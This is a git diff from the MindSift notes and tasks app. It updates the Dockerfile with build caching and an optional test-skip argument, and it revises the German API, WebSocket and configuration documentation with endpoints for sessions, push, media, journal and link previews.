[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
[0.5.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.1...v0.5.2
[0.5.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5...v0.5.1
[0.5]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4.1...v0.5
[0.4.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4...v0.4.1
[0.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.3...v0.4
[0.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2.1...v0.3
[0.2.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2...v0.2.1
[0.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.1...v0.2
[0.1]: https://git.dsit.me/sandrodach/MindSift/releases/tag/v0.1
+23 -6
View File
@@ -4,11 +4,17 @@
FROM node:22-alpine AS frontend-builder FROM node:22-alpine AS frontend-builder
WORKDIR /app/frontend WORKDIR /app/frontend
COPY frontend/package*.json ./ COPY frontend/package*.json ./
RUN npm install --no-audit --no-fund RUN --mount=type=cache,target=/root/.npm npm install --no-audit --no-fund
COPY frontend/ ./ COPY frontend/ ./
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev" # Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
ARG APP_VERSION="" ARG APP_VERSION=""
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build ARG SKIP_TESTS=0
RUN if [ "$SKIP_TESTS" != "1" ]; then \
npx tsc --noEmit && npm run lint && npm run test:run; \
else \
echo "Skipping frontend tests (SKIP_TESTS=1)"; \
fi && \
APP_VERSION="${APP_VERSION}" npm run build
# ============================================================================== # ==============================================================================
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer) # Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
@@ -19,7 +25,8 @@ RUN apk add --no-cache git ca-certificates
# Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer # Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer
COPY go.mod ./ COPY go.mod ./
RUN go get github.com/go-chi/chi/v5@v5.2.0 \ RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
go get github.com/go-chi/chi/v5@v5.2.0 \
github.com/go-chi/cors@v1.2.1 \ github.com/go-chi/cors@v1.2.1 \
github.com/golang-jwt/jwt/v5@v5.2.1 \ github.com/golang-jwt/jwt/v5@v5.2.1 \
github.com/gorilla/websocket@v1.5.3 \ github.com/gorilla/websocket@v1.5.3 \
@@ -38,16 +45,26 @@ COPY cmd/ ./cmd/
COPY internal/ ./internal/ COPY internal/ ./internal/
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
ARG SKIP_TESTS=0
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary # Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
RUN go mod tidy && \ RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
CGO_ENABLED=0 go vet ./... && \ go mod tidy && \
CGO_ENABLED=0 go test -v ./... && \ if [ "$SKIP_TESTS" != "1" ]; then \
CGO_ENABLED=0 go vet ./... && \
CGO_ENABLED=0 go test -v ./...; \
else \
echo "Skipping backend tests (SKIP_TESTS=1)"; \
fi && \
CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server
# ============================================================================== # ==============================================================================
# Stage 3: Minimal Production Runtime (< 35 MB) # Stage 3: Minimal Production Runtime (< 35 MB)
# ============================================================================== # ==============================================================================
FROM alpine:3.21 FROM alpine:3.21
# The code state the image was built from (CI: decides whether a later build may skip the tests)
ARG GIT_SHA=""
ARG GIT_TREE=""
LABEL org.opencontainers.image.revision="${GIT_SHA}" io.mindsift.tree="${GIT_TREE}"
RUN apk add --no-cache ca-certificates tzdata && \ RUN apk add --no-cache ca-certificates tzdata && \
mkdir -p /data /tmp && \ mkdir -p /data /tmp && \
chmod 1777 /tmp chmod 1777 /tmp
+1 -1
View File
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`). - **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen. - **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)). - **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks. - **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser. - **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
## Entwickeln ## Entwickeln
+43 -14
View File
@@ -1,22 +1,22 @@
# REST-API # REST-API
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go). Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
## Öffentlich ## Öffentlich
| Methode | Pfad | Zweck | | Methode | Pfad | Zweck |
|---|---|---| |---|---|---|
| GET | `/health` | Lebenszeichen | | GET | `/health` | Lebenszeichen |
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) | | GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`, `customLinkLabel`, `customLinkUrl`) |
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist | | GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
| POST | `/share-target` | PWA Web Share Target Fallback: Weiterleitung auf `/` (`303 See Other`), falls Service Worker noch inaktiv |
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt | | POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben | | POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` | | POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen | | POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link | | POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) | | POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste | | POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header | | GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header | | GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
@@ -26,9 +26,13 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|---|---|---| |---|---|---|
| GET | `/auth/me` | Benutzer und Kennzahlen | | GET | `/auth/me` | Benutzer und Kennzahlen |
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff | | POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
| POST | `/auth/logout` | Token sperren | | POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) | | POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` | | PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. `notificationSettings` (`paused`, `includeOwnWatched`, `events.{due,shared,taskDone,watched}.{email,discord}`, `dailySummary.{enabled,time,email,discord}`) für Benachrichtigungen. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) | | POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) | | GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) | | GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
@@ -43,7 +47,8 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` | | DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen | | GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` | | POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) | | GET/POST | `/keys` | API-Keys auflisten bzw. anlegen (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
| DELETE | `/keys/{id}` | API-Key löschen |
### Globale Suche (`GET /api/v1/search?q=`) ### Globale Suche (`GET /api/v1/search?q=`)
@@ -83,6 +88,7 @@ Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
| GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) | | GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
| POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) | | POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
| POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen | | POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
| POST/DELETE | `/tasks/{id}/watch` | Aufgabe beobachten bzw. nicht mehr → `{watching}`; `404` ohne Zugriff. Aufgaben-Antworten tragen `isWatching` |
## Aufgabenlisten ## Aufgabenlisten
@@ -105,7 +111,8 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
| GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) | | GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
| GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen | | GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
| PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) | | PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
| GET/POST/DELETE | `/workspace/folders/shared/{id}/shares[/{shareId}]` | Freigaben (`permission`: `read`/`write`) | | GET/POST | `/workspace/folders/shared/{id}/shares` | Freigaben geteilter Ordner (`permission`: `read`/`write`) |
| DELETE | `/workspace/folders/shared/{id}/shares/{shareId}` | Freigabe eines geteilten Ordners entfernen |
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details | | GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) | | PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) | | GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
@@ -116,7 +123,24 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen | | DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) | | PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) | | POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) | | GET/POST | `/documents/{id}/shares` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
| DELETE | `/documents/{id}/shares/{userId}` | Notiz-Freigabe entfernen |
| POST | `/documents/{id}/extract` | `{blockId, clientId}`: legt aus den Unterpunkten des Punkts eine eigene Notiz an (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht) → `{document, link}`. Die Ursprungsnotiz ändert der Server nicht; der Editor ersetzt den Ast selbst durch `link` (normale eigene Änderung, Strg+Z möglich). Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt |
| GET | `/push/key` | `{enabled, publicKey}` – öffentlicher VAPID-Schlüssel für `pushManager.subscribe` (in der Demo `enabled: false`) |
| GET | `/push/devices` | Eigene Geräte mit Push → `{devices: [{id, endpoint, device, createdAt}]}` |
| POST | `/push/subscribe` | `{endpoint, keys: {p256dh, auth}, device}` – Gerät anmelden (nur `https`-Endpunkte) |
| POST | `/push/unsubscribe` | `{endpoint}` – Gerät abmelden |
| POST | `/push/test` | Test-Benachrichtigung an alle eigenen Geräte → `{devices}`; `400` ohne Gerät |
| GET | `/journal` | Tage des eigenen Journals, neueste zuerst → `{days: [{date, docId, empty}]}` (`empty`: Notiz noch ohne Text; Tage im Papierkorb fehlen) |
| POST | `/journal/{date}` | Notiz des Tages (`JJJJ-MM-TT`) öffnen; gibt es noch keine, wird sie angelegt (Titel z. B. „Freitag, 30. Oktober 2026“, Icon 📅) → Dokument, `201` bei Neuanlage. Die Journal-Notizen sind normale Notizen (Teilen, Suche, Sync) |
| POST | `/documents/{id}/extract/undo` | Legt die ausgelagerte Notiz `{id}` wieder in den Papierkorb (nur ihr Ersteller) |
| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet. Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
@@ -160,11 +184,13 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|---|---|---| |---|---|---|
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) | | GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
| GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen | | GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
| GET/POST/DELETE | `/lists/{id}/shares[/{shareId}]` | Freigaben (`targetType`, `targetId`, `role`: `editor`/`viewer`) | | GET/POST | `/lists/{id}/shares` | Freigaben abrufen bzw. anlegen (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
| DELETE | `/lists/{id}/shares/{shareId}` | Freigabe entfernen |
| POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) | | POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
| PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) | | PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
| PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) | | PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
| DELETE | `/lists/{id}/items/{itemId}` | Löschen | | DELETE | `/lists/{id}/items/{itemId}` | Löschen |
| POST | `/lists/{id}/items/{itemId}/move` | In eine andere Liste verschieben (`targetListId`); Bearbeitungsrecht in beiden Listen nötig, der Eintrag landet oben |
| POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) | | POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) |
| POST | `/lists/{id}/clear-completed` | Erledigte entfernen | | POST | `/lists/{id}/clear-completed` | Erledigte entfernen |
@@ -187,12 +213,15 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) | | PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen | | PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen | | PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) | | GET/POST | `/admin/invites` | Einladungen auflisten bzw. anlegen (`email`, `role`, `organizationId`, `validDays`) |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben | | DELETE | `/admin/invites/{id}` | Einladung widerrufen/löschen |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) | | GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
| POST | `/admin/smtp/test` | Testmail (`toEmail`) | | POST | `/admin/smtp/test` | Testmail (`toEmail`) |
| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) | | GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen | | GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
| DELETE | `/admin/backups/{name}` | Datenbank-Abzug löschen (gibt die verbleibende Liste zurück; nicht in der Demo) |
## Beispiele ## Beispiele
+1
View File
@@ -55,6 +55,7 @@ Client → Server versteht der Server nur: `{"event":"JOIN_ROOM","room":"<id>"}`
| `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste | | `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
| `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste | | `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
| `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum | | `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
| `DEMO_RESET` | Periodischer Reset im Demo-Modus; Clients verwerfen lokale Caches und laden Daten neu | Alle aktiven Verbindungen |
| `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung | | `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
## Verhalten im Frontend ## Verhalten im Frontend
+49 -9
View File
@@ -60,30 +60,67 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) | | `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert | | `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` | | `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
